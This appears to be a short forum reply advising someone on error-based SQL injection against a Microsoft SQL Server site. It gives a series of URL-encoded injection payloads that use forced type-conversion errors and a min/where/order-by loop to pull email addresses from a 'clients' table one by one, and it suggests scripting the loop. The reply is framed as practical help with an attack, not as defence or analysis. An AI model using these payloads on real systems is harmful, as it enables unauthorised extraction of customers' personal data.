I believe the solution you're looking for is the old min-where-order-by trick.
> ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b ' Try this: > ' %2b convert(int, (SELECT min(email) FROM clients WHERE email > 'a' order by 1)) %2b ' After you get the first value (say it's [EMAIL PROTECTED]), you throw it into the where clause: > ' %2b convert(int, (SELECT min(email) FROM clients WHERE email > '[EMAIL PROTECTED]' order by 1)) %2b ' You get the next value, say it's [EMAIL PROTECTED], then you do the next query: > ' %2b convert(int, (SELECT min(email) FROM clients WHERE email > '[EMAIL PROTECTED]' order by 1)) %2b ' And so on, until you don't get an error. Of course, for most gratifying results you write a little program that does this for you.
